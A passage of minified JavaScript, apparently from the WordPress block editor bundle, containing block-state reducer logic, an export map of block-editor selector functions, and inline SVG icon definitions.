n=t.blocks.order.get(o.rootClientId),i=Qc({prevState:t,nextState:r,addedBlocks:o.blocks,removedClientIds:n});if(i)return{...r,derivedBlockEditingModes:i??t.derivedBlockEditingModes};break}case&quot;MOVE_BLOCKS_TO_POSITION&quot;:{let n=o.clientIds.map(s=&gt;r.blocks.byClientId.get(s)),i=Qc({prevState:t,nextState:r,addedBlocks:n,removedClientIds:o.clientIds});if(i)return{...r,derivedBlockEditingModes:i??t.derivedBlockEditingModes};break}case&quot;UPDATE_SETTINGS&quot;:{if(t?.settings?.[Zc]!==r?.settings?.[Zc]||!!t?.settings?.disableContentOnlyForUnsyncedPatterns!=!!r?.settings?.disableContentOnlyForUnsyncedPatterns||!!t?.settings?.[Xc]!=!!r?.settings?.[Xc]||!!t?.settings?.disableContentOnlyForTemplateParts!=!!r?.settings?.disableContentOnlyForTemplateParts)return{...r,derivedBlockEditingModes:EO(r)};break}case&quot;RESET_BLOCKS&quot;:case&quot;EDIT_CONTENT_ONLY_SECTION&quot;:case&quot;SET_EDITOR_MODE&quot;:case&quot;RESET_ZOOM_LEVEL&quot;:case&quot;SET_ZOOM_LEVEL&quot;:return{...r,derivedBlockEditingModes:EO(r)}}return r.derivedBlockEditingModes=t?.derivedBlockEditingModes??new Map,r}}function ihe(e){return(t,o)=&gt;{let r=e(t,o);return t?(r.automaticChangeStatus=t.automaticChangeStatus,o.type===&quot;MARK_AUTOMATIC_CHANGE&quot;?{...r,automaticChangeStatus:&quot;pending&quot;}:o.type===&quot;MARK_AUTOMATIC_CHANGE_FINAL&quot;&amp;&amp;t.automaticChangeStatus===&quot;pending&quot;?{...r,automaticChangeStatus:&quot;final&quot;}:r.blocks===t.blocks&amp;&amp;r.selection===t.selection||r.automaticChangeStatus!==&quot;final&quot;&amp;&amp;r.selection!==t.selection?r:{...r,automaticChangeStatus:void 0}):r}}var Q6=(0,TO.pipe)(nhe,ihe)(ohe);var rM={};Ip(rM,{__experimentalGetActiveBlockIdByBlockNames:()=&gt;nbe,__experimentalGetAllowedBlocks:()=&gt;Uge,__experimentalGetAllowedPatterns:()=&gt;$ge,__experimentalGetBlockListSettingsForBlocks:()=&gt;Xge,__experimentalGetDirectInsertBlock:()=&gt;Hge,__experimentalGetGlobalBlocksByName:()=&gt;Jhe,__experimentalGetLastBlockAttributeChanges:()=&gt;ebe,__experimentalGetParsedPattern:()=&gt;Gge,__experimentalGetPatternTransformItems:()=&gt;qge,__experimentalGetPatternsByBlockTypes:()=&gt;Yge,__experimentalGetReusableBlockTitle:()=&gt;Qge,__unstableGetBlockWithoutInnerBlocks:()=&gt;Zhe,__unstableGetClientIdWithClientIdsTree:()=&gt;Sj,__unstableGetClientIdsTree:()=&gt;_j,__unstableGetContentLockingParent:()=&gt;fbe,__unstableGetSelectedBlocksWithPartialSelection:()=&gt;Sge,__unstableGetTemporarilyEditingAsBlocks:()=&gt;mbe,__unstableGetVisibleBlocks:()=&gt;lbe,__unstableHasActiveBlockOverlayActive:()=&gt;Dj,__unstableIsFullySelected:()=&gt;bge,__unstableIsLastBlockChangeIgnored:()=&gt;Jge,__unstableIsSelectionCollapsed:()=&gt;kge,__unstableIsSelectionMergeable:()=&gt;yge,__unstableIsWithinBlockOverlay:()=&gt;cbe,__unstableSelectionHasUnmergeableBlock:()=&gt;vge,areInnerBlocksControlled:()=&gt;Ow,canEditBlock:()=&gt;Lj,canInsertBlockType:()=&gt;Df,canInsertBlocks:()=&gt;Nge,canLockBlockType:()=&gt;Dge,canMoveBlock:()=&gt;Aj,canMoveBlocks:()=&gt;Mge,canRemoveBlock:()=&gt;QN,canRemoveBlocks:()=&gt;Oj,didAutomaticChange:()=&gt;obe,getAdjacentBlockClientId:()=&gt;YN,getAllowedBlocks:()=&gt;WN,getBlock:()=&gt;xl,getBlockAttributes:()=&gt;Ti,getBlockCount:()=&gt;tge,getBlockEditingMode:()=&gt;Ii,getBlockHierarchyRootClientId:()=&gt;age,getBlockIndex:()=&gt;Ej,getBlockInsertionPoint:()=&gt;Rge,getBlockListSettings:()=&gt;oM,getBlockMode:()=&gt;Bge,getBlockName:()=&gt;dt,getBlockNamesByClientId:()=&gt;ege,getBlockOrder:()=&gt;wr,getBlockParents:()=&gt;ys,getBlockParentsByBlockName:()=&gt;KN,getBlockRootClientId:()=&gt;Po,getBlockSelectionEnd:()=&gt;rge,getBlockSelectionStart:()=&gt;oge,getBlockTransformItems:()=&gt;zge,getBlocks:()=&gt;Xhe,getBlocksByClientId:()=&gt;Rw,getBlocksByName:()=&gt;wj,getClientIdsOfDescendants:()=&gt;xj,getClientIdsWithDescendants:()=&gt;$p,getDirectInsertBlock:()=&gt;Mj,getDraggedBlockClientIds:()=&gt;Tge,getFirstMultiSelectedBlockClientId:()=&gt;qN,getGlobalBlockCount:()=&gt;Qhe,getHoveredBlockClientId:()=&gt;abe,getInserterItems:()=&gt;Fge,getLastMultiSelectedBlockClientId:()=&gt;Cj,getLowestCommonAncestorWithSelectedBlock:()=&gt;lge,getMultiSelectedBlockClientIds:()=&gt;du,getMultiSelectedBlocks:()=&gt;fge,getMultiSelectedBlocksEndClientId:()=&gt;gge,getMultiSelectedBlocksStartClientId:()=&gt;hge,getNextBlockClientId:()=&gt;uge,getPatternsByBlockTypes:()=&gt;Kge,getPreviousBlockClientId:()=&gt;cge,getSelectedBlock:()=&gt;sge,getSelectedBlockClientId:()=&gt;Yp,getSelectedBlockClientIds:()=&gt;qp,getSelectedBlockCount:()=&gt;nge,getSelectedBlocksInitialCaretPosition:()=&gt;dge,getSelectionEnd:()=&gt;Ov,getSelectionStart:()=&gt;Rv,getSettings:()=&gt;su,getTemplate:()=&gt;Lge,getTemplateLock:()=&gt;fa,hasBlockMovingClientId:()=&gt;tbe,hasDraggedInnerBlock:()=&gt;Pj,hasInserterItems:()=&gt;jge,hasMultiSelection:()=&gt;xge,hasSelectedBlock:()=&gt;ige,hasSelectedInnerBlock:()=&gt;Ij,isAncestorBeingDragged:()=&gt;Ige,isAncestorMultiSelected:()=&gt;pge,isBlockBeingDragged:()=&gt;ZN,isBlockHighlighted:()=&gt;rbe,isBlockInsertionPointVisible:()=&gt;Oge,isBlockMultiSelected:()=&gt;Bj,isBlockSelected:()=&gt;Tj,isBlockValid:()=&gt;qhe,isBlockVisible:()=&gt;sbe,isBlockWithinSelection:()=&gt;_ge,isCaretWithinFormattedText:()=&gt;Pge,isDraggingBlocks:()=&gt;Rj,isFirstMultiSelectedBlock:()=&gt;mge,isGroupable:()=&gt;dbe,isLastBlockChangePersistent:()=&gt;Zge,isMultiSelecting:()=&gt;wge,isSelectionEnabled:()=&gt;Cge,isTyping:()=&gt;Ege,isUngroupable:()=&gt;ube,isValidTemplate:()=&gt;Age,wasBlockJustInserted:()=&gt;ibe});var Oe=l($(),1),kj=l(R(),1),vj=l(ut(),1);var T0=l(R(),1),we=(0,T0.forwardRef)(({icon:e,size:t=24,...o},r)=&gt;(0,T0.cloneElement)(e,{width:t,height:t,...o,ref:r}));var I0=l(q(),1),PO=l(w(),1),Sf=(0,PO.jsx)(I0.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,PO.jsx)(I0.Path,{d:&quot;M7.5 5.5h9V4h-9v1.5Zm-3.5 7h16V11H4v1.5Zm3.5 7h9V18h-9v1.5Z&quot;})});var P0=l(q(),1),RO=l(w(),1),OO=(0,RO.jsx)(P0.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,RO.jsx)(P0.Path,{d:&quot;M4 12.8h16v-1.5H4v1.5zm0 7h12.4v-1.5H4v1.5zM4 4.3v1.5h16V4.3H4z&quot;})});var R0=l(q(),1),AO=l(w(),1),Jc=(0,AO.jsx)(R0.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,AO.jsx)(R0.Path,{d:&quot;M13 5.5H4V4h9v1.5Zm7 7H4V11h16v1.5Zm-7 7H4V18h9v1.5Z&quot;})});var O0=l(q(),1),LO=l(w(),1),_f=(0,LO.jsx)(O0.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,LO.jsx)(O0.Path,{d:&quot;M19 5.5H5V4h14v1.5ZM19 20H5v-1.5h14V20ZM5 9h14v6H5V9Z&quot;})});var A0=l(q(),1),NO=l(w(),1),eu=(0,NO.jsx)(A0.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,NO.jsx)(A0.Path,{d:&quot;M11.111 5.5H20V4h-8.889v1.5ZM4 12.5h16V11H4v1.5Zm7.111 7H20V18h-8.889v1.5Z&quot;})});var L0=l(q(),1),MO=l(w(),1),DO=(0,MO.jsx)(L0.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,MO.jsx)(L0.Path,{d:&quot;m16.5 13.5-3.7 3.7V4h-1.5v13.2l-3.8-3.7-1 1 5.5 5.6 5.5-5.6z&quot;})});var N0=l(q(),1),VO=l(w(),1),Xk=(0,VO.jsx)(N0.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,VO.jsx)(N0.Path,{d:&quot;M20 11.2H6.8l3.7-3.7-1-1L3.9 12l5.6 5.5 1-1-3.7-3.7H20z&quot;})});var M0=l(q(),1),FO=l(w(),1),Qk=(0,FO.jsx)(M0.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,FO.jsx)(M0.Path,{d:&quot;m14.5 6.5-1 1 3.7 3.7H4v1.6h13.2l-3.7 3.7 1 1 5.6-5.5z&quot;})});var D0=l(q(),1),zO=l(w(),1),jO=(0,zO.jsx)(D0.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,zO.jsx)(D0.Path,{d:&quot;M18.5 5.5h-13c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h13c1.1 0 2-.9 2-2v-9c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5h-13c-.3 0-.5-.2-.5-.5v-9c0-.3.2-.5.5-.5h13c.3 0 .5.2.5.5v9zM6.5 12H8v-2h2V8.5H6.5V12zm9.5 2h-2v1.5h3.5V12H16v2z&quot;})});var V0=l(q(),1),UO=l(w(),1),HO=(0,UO.jsx)(V0.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,UO.jsx)(V0.Path,{d:&quot;M17.7 4.3c-1.2 0-2.8 0-3.8 1-.6.6-.9 1.5-.9 2.6V14c-.6-.6-1.5-1-2.5-1C8.6 13 7 14.6 7 16.5S8.6 20 10.5 20c1.5 0 2.8-1 3.3-2.3.5-.8.7-1.8.7-2.5V7.9c0-.7.2-1.2.5-1.6.6-.6 1.8-.6 2.8-.6h.3V4.3h-.4z&quot;})});var F0=l(q(),1),GO=l(w(),1),Jk=(0,GO.jsx)(F0.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,GO.jsx)(F0.Path,{d:&quot;M19 8h-1V6h-5v2h-2V6H6v2H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2zm.5 10c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-8c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v8z&quot;})});var z0=l(q(),1),WO=l(w(),1),$O=(0,WO.jsx)(z0.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,WO.jsx)(z0.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M6 5.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM4 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2V6zm11-.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5h-3a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM13 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2h-3a2 2 0 01-2-2V6zm5 8.5h-3a.5.5 0 00-.5.5v3a.5.5 0 00.5.5h3a.5.5 0 00.5-.5v-3a.5.5 0 00-.5-.5zM15 13a2 2 0 00-2 2v3a2 2 0 002 2h3a2 2 0 002-2v-3a2 2 0 00-2-2h-3zm-9 1.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5v-3a.5.5 0 01.5-.5zM4 15a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2v-3z&quot;})});var j0=l(q(),1),KO=l(w(),1),gl=(0,KO.jsx)(j0.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,KO.jsx)(j0.Path,{d:&quot;M16.5 7.5 10 13.9l-2.5-2.4-1 1 3.5 3.6 7.5-7.6z&quot;})});var U0=l(q(),1),YO=l(w(),1),zn=(0,YO.jsx)(U0.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,YO.jsx)(U0.Path,{d:&quot;M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z&quot;})});var H0=l(q(),1),qO=l(w(),1),ev=(0,qO.jsx)(H0.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,qO.jsx)(H0.Path,{d:&quot;m13.1 16-3.4-4 3.4-4 1.1 1-2.6 3 2.6 3-1.1 1z&quot;})});var G0=l(q(),1),ZO=l(w(),1),Mr=(0,ZO.jsx)(G0.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,ZO.jsx)(G0.Path,{d:&quot;M14.6 7l-1.2-1L8 12l5.4 6 1.2-1-4.6-5z&quot;})});var W0=l(q(),1),XO=l(w(),1),tu=(0,XO.jsx)(W0.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,XO.jsx)(W0.Path,{d:&quot;M10.8622 8.04053L14.2805 12.0286L10.8622 16.0167L9.72327 15.0405L12.3049 12.0286L9.72327 9.01672L10.8622 8.04053Z&quot;})});var $0=l(q(),1),QO=l(w(),1),Vo=(0,QO.jsx)($0.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,QO.jsx)($0.Path,{d:&quot;M10.6 6L9.4 7l4.6 5-4.6 5 1.2 1 5.4-6z&quot;})});var K0=l(q(),1),JO=l(w(),1),xf=(0,JO.jsx)(K0.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,JO.jsx)(K0.Path,{d:&quot;M6.5 12.4L12 8l5.5 4.4-.9 1.2L12 10l-4.5 3.6-1-1.2z&quot;})});var Y0=l(q(),1),eA=l(w(),1),wf=(0,eA.jsx)(Y0.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,eA.jsx)(Y0.Path,{d:&quot;M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z&quot;})});var q0=l(q(),1),tA=l(w(),1),oA=(0,tA.jsx)(q0.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,tA.jsx)(q0.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M10.289 4.836A1 1 0 0111.275 4h1.306a1 1 0 01.987.836l.244 1.466c.787.26 1.503.679 2.108 1.218l1.393-.522a1 1 0 011.216.437l.653 1.13a1 1 0 01-.23 1.273l-1.148.944a6.025 6.025 0 010 2.435l1.149.946a1 1 0 01.23 1.272l-.653 1.13a1 1 0 01-1.216.437l-1.394-.522c-.605.54-1.32.958-2.108 1.218l-.244 1.466a1 1 0 01-.987.836h-1.306a1 1 0 01-.986-.836l-.244-1.466a5.995 5.995 0 01-2.108-1.218l-1.394.522a1 1 0 01-1.217-.436l-.653-1.131a1 1 0 01.23-1.272l1.149-.946a6.026 6.026 0 010-2.435l-1.148-.944a1 1 0 01-.23-1.272l.653-1.131a1 1 0 011.217-.437l1.393.522a5.994 5.994 0 012.108-1.218l.244-1.466zM14.929 12a3 3 0 11-6 0 3 3 0 016 0z&quot;})});var Z0=l(q(),1),rA=l(w(),1),nA=(0,rA.jsx)(Z0.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,rA.jsx)(Z0.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M5.625 5.5h9.75c.069 0 .125.056.125.125v9.75a.125.125 0 0 1-.125.125h-9.75a.125.125 0 0 1-.125-.125v-9.75c0-.069.056-.125.125-.125ZM4 5.625C4 4.728 4.728 4 5.625 4h9.75C16.273 4 17 4.728 17 5.625v9.75c0 .898-.727 1.625-1.625 1.625h-9.75A1.625 1.625 0 0 1 4 15.375v-9.75Zm14.5 11.656v-9H20v9C20 18.8 18.77 20 17.251 20H6.25v-1.5h11.001c.69 0 1.249-.528 1.249-1.219Z&quot;})});var X0=l(q(),1),iA=l(w(),1),Cf=(0,iA.jsx)(X0.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,iA.jsx)(X0.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M5 4.5h11a.5.5 0 0 1 .5.5v11a.5.5 0 0 1-.5.5H5a.5.5 0 0 1-.5-.5V5a.5.5 0 0 1 .5-.5ZM3 5a2 2 0 0 1 2-2h11a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V5Zm17 3v10.75c0 .69-.56 1.25-1.25 1.25H6v1.5h12.75a2.75 2.75 0 0 0 2.75-2.75V8H20Z&quot;})});var Q0=l(q(),1),sA=l(w(),1),aA=(0,sA.jsx)(Q0.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,sA.jsx)(Q0.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M5.75 6A.25.25 0 0 1 6 5.75h3v-1.5H6A1.75 1.75 0 0 0 4.25 6v3h1.5V6ZM18 18.25h-3v1.5h3A1.75 1.75 0 0 0 19.75 18v-3h-1.5v3a.25.25 0 0 1-.25.25ZM18.25 9V6a.25.25 0 0 0-.25-.25h-3v-1.5h3c.966 0 1.75.784 1.75 1.75v3h-1.5Zm-12.5 9v-3h-1.5v3c0 .966.784 1.75 1.75 1.75h3v-1.5H6a.25.25 0 0 1-.25-.25Z&quot;})});var Bf=l(q(),1),Np=l(w(),1),lA=(0,Np.jsxs)(Bf.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,Np.jsx)(Bf.G,{opacity:&quot;.25&quot;,children:(0,Np.jsx)(Bf.Path,{d:&quot;M5.75 6A.25.25 0 0 1 6 5.75h3v-1.5H6A1.75 1.75 0 0 0 4.25 6v3h1.5V6ZM18 18.25h-3v1.5h3A1.75 1.75 0 0 0 19.75 18v-3h-1.5v3a.25.25 0 0 1-.25.25ZM18.25 9V6a.25.25 0 0 0-.25-.25h-3v-1.5h3c.966 0 1.75.784 1.75 1.75v3h-1.5ZM5.75 18v-3h-1.5v3c0 .966.784 1.75 1.75 1.75h3v-1.5H6a.25.25 0 0 1-.25-.25Z&quot;})}),(0,Np.jsx)(Bf.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M5.75 15v3c0 .138.112.25.25.25h3v1.5H6A1.75 1.75 0 0 1 4.25 18v-3h1.5Z&quot;})]});var Ef=l(q(),1),Mp=l(w(),1),cA=(0,Mp.jsxs)(Ef.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,Mp.jsx)(Ef.G,{opacity:&quot;.25&quot;,children:(0,Mp.jsx)(Ef.Path,{d:&quot;M5.75 6A.25.25 0 0 1 6 5.75h3v-1.5H6A1.75 1.75 0 0 0 4.25 6v3h1.5V6ZM18 18.25h-3v1.5h3A1.75 1.75 0 0 0 19.75 18v-3h-1.5v3a.25.25 0 0 1-.25.25ZM18.25 9V6a.25.25 0 0 0-.25-.25h-3v-1.5h3c.966 0 1.75.784 1.75 1.75v3h-1.5ZM5.75 18v-3h-1.5v3c0 .966.784 1.75 1.75 1.75h3v-1.5H6a.25.25 0 0 1-.25-.25Z&quot;})}),(0,Mp.jsx)(Ef.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M15 18.25h3a.25.25 0 0 0 .25-.25v-3h1.5v3A1.75 1.75 0 0 1 18 19.75h-3v-1.5Z&quot;})]});var Tf=l(q(),1),Dp=l(w(),1),uA=(0,Dp.jsxs)(Tf.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,Dp.jsx)(Tf.G,{opacity:&quot;.25&quot;,children:(0,Dp.jsx)(Tf.Path,{d:&quot;M5.75 6A.25.25 0 0 1 6 5.75h3v-1.5H6A1.75 1.75 0 0 0 4.25 6v3h1.5V6ZM18 18.25h-3v1.5h3A1.75 1.75 0 0 0 19.75 18v-3h-1.5v3a.25.25 0 0 1-.25.25ZM18.25 9V6a.25.25 0 0 0-.25-.25h-3v-1.5h3c.966 0 1.75.784 1.75 1.75v3h-1.5ZM5.75 18v-3h-1.5v3c0 .966.784 1.75 1.75 1.75h3v-1.5H6a.25.25 0 0 1-.25-.25Z&quot;})}),(0,Dp.jsx)(Tf.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M6 5.75a.25.25 0 0 0-.25.25v3h-1.5V6c0-.966.784-1.75 1.75-1.75h3v1.5H6Z&quot;})]});var If=l(q(),1),Vp=l(w(),1),dA=(0,Vp.jsxs)(If.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,Vp.jsx)(If.G,{opacity:&quot;.25&quot;,children:(0,Vp.jsx)(If.Path,{d:&quot;M5.75 6A.25.25 0 0 1 6 5.75h3v-1.5H6A1.75 1.75 0 0 0 4.25 6v3h1.5V6ZM18 18.25h-3v1.5h3A1.75 1.75 0 0 0 19.75 18v-3h-1.5v3a.25.25 0 0 1-.25.25ZM18.25 9V6a.25.25 0 0 0-.25-.25h-3v-1.5h3c.966 0 1.75.784 1.75 1.75v3h-1.5ZM5.75 18v-3h-1.5v3c0 .966.784 1.75 1.75 1.75h3v-1.5H6a.25.25 0 0 1-.25-.25Z&quot;})}),(0,Vp.jsx)(If.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M18.25 9V6a.25.25 0 0 0-.25-.25h-3v-1.5h3c.966 0 1.75.784 1.75 1.75v3h-1.5Z&quot;})]});var J0=l(q(),1),fA=l(w(),1),mA=(0,fA.jsx)(J0.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,fA.jsx)(J0.Path,{d:&quot;M20.5 16h-.7V8c0-1.1-.9-2-2-2H6.2c-1.1 0-2 .9-2 2v8h-.7c-.8 0-1.5.7-1.5 1.5h20c0-.8-.7-1.5-1.5-1.5zM5.7 8c0-.3.2-.5.5-.5h11.6c.3 0 .5.2.5.5v7.6H5.7V8z&quot;})});var ex=l(q(),1),pA=l(w(),1),tv=(0,pA.jsx)(ex.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,pA.jsx)(ex.Path,{d:&quot;M8 7h2V5H8v2zm0 6h2v-2H8v2zm0 6h2v-2H8v2zm6-14v2h2V5h-2zm0 8h2v-2h-2v2zm0 6h2v-2h-2v2z&quot;})});var tx=l(q(),1),hA=l(w(),1),gA=(0,hA.jsx)(tx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,hA.jsx)(tx.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M3 7c0-1.1.9-2 2-2h14a2 2 0 0 1 2 2v10a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V7Zm2-.5h14c.3 0 .5.2.5.5v1L12 13.5 4.5 7.9V7c0-.3.2-.5.5-.5Zm-.5 3.3V17c0 .3.2.5.5.5h14c.3 0 .5-.2.5-.5V9.8L12 15.4 4.5 9.8Z&quot;})});var ox=l(q(),1),bA=l(w(),1),Pf=(0,bA.jsx)(ox.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,bA.jsx)(ox.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M12.218 5.377a.25.25 0 0 0-.436 0l-7.29 12.96a.25.25 0 0 0 .218.373h14.58a.25.25 0 0 0 .218-.372l-7.29-12.96Zm-1.743-.735c.669-1.19 2.381-1.19 3.05 0l7.29 12.96a1.75 1.75 0 0 1-1.525 2.608H4.71a1.75 1.75 0 0 1-1.525-2.608l7.29-12.96ZM12.75 17.46h-1.5v-1.5h1.5v1.5Zm-1.5-3h1.5v-5h-1.5v5Z&quot;})});var rx=l(q(),1),kA=l(w(),1),vA=(0,kA.jsx)(rx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,kA.jsx)(rx.Path,{d:&quot;M19.5 4.5h-7V6h4.44l-5.97 5.97 1.06 1.06L18 7.06v4.44h1.5v-7Zm-13 1a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-3H17v3a.5.5 0 0 1-.5.5h-10a.5.5 0 0 1-.5-.5v-10a.5.5 0 0 1 .5-.5h3V5.5h-3Z&quot;})});var nx=l(q(),1),yA=l(w(),1),SA=(0,yA.jsx)(nx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,yA.jsx)(nx.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M12.848 8a1 1 0 0 1-.914-.594l-.723-1.63a.5.5 0 0 0-.447-.276H5a.5.5 0 0 0-.5.5v11.5a.5.5 0 0 0 .5.5h14a.5.5 0 0 0 .5-.5v-9A.5.5 0 0 0 19 8h-6.152Zm.612-1.5a.5.5 0 0 1-.462-.31l-.445-1.084A2 2 0 0 0 10.763 4H5a2 2 0 0 0-2 2v11.5a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2v-9a2 2 0 0 0-2-2h-5.54Z&quot;})});var ix=l(q(),1),_A=l(w(),1),xA=(0,_A.jsx)(ix.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,_A.jsx)(ix.Path,{d:&quot;M12 4 4 19h16L12 4zm0 3.2 5.5 10.3H12V7.2z&quot;})});var sx=l(q(),1),wA=l(w(),1),CA=(0,wA.jsx)(sx.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,wA.jsx)(sx.Path,{d:&quot;M7.1 6.8L3.1 18h1.6l1.1-3h4.3l1.1 3h1.6l-4-11.2H7.1zm-.8 6.8L8 8.9l1.7 4.7H6.3zm14.5-1.5c-.3-.6-.7-1.1-1.2-1.5-.6-.4-1.2-.6-1.9-.6-.5 0-.9.1-1.4.3-.4.2-.8.5-1.1.8V6h-1.4v12h1.3l.2-1c.2.4.6.6 1 .8.4.2.9.3 1.4.3.7 0 1.2-.2 1.8-.5.5-.4 1-.9 1.3-1.5.3-.6.5-1.3.5-2.1-.1-.6-.2-1.3-.5-1.9zm-1.7 4c-.4.5-.9.8-1.6.8s-1.2-.2-1.7-.7c-.4-.5-.7-1.2-.7-2.1 0-.9.2-1.6.7-2.1.4-.5 1-.7 1.7-.7s1.2.3 1.6.8c.4.5.6 1.2.6 2 .1.8-.2 1.4-.6 2z&quot;})});var ax=l(q(),1),BA=l(w(),1),EA=(0,BA.jsx)(ax.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,BA.jsx)(ax.Path,{d:&quot;M11 16.8c-.1-.1-.2-.3-.3-.5v-2.6c0-.9-.1-1.7-.3-2.2-.2-.5-.5-.9-.9-1.2-.4-.2-.9-.3-1.6-.3-.5 0-1 .1-1.5.2s-.9.3-1.2.6l.2 1.2c.4-.3.7-.4 1.1-.5.3-.1.7-.2 1-.2.6 0 1 .1 1.3.4.3.2.4.7.4 1.4-1.2 0-2.3.2-3.3.7s-1.4 1.1-1.4 2.1c0 .7.2 1.2.7 1.6.4.4 1 .6 1.8.6.9 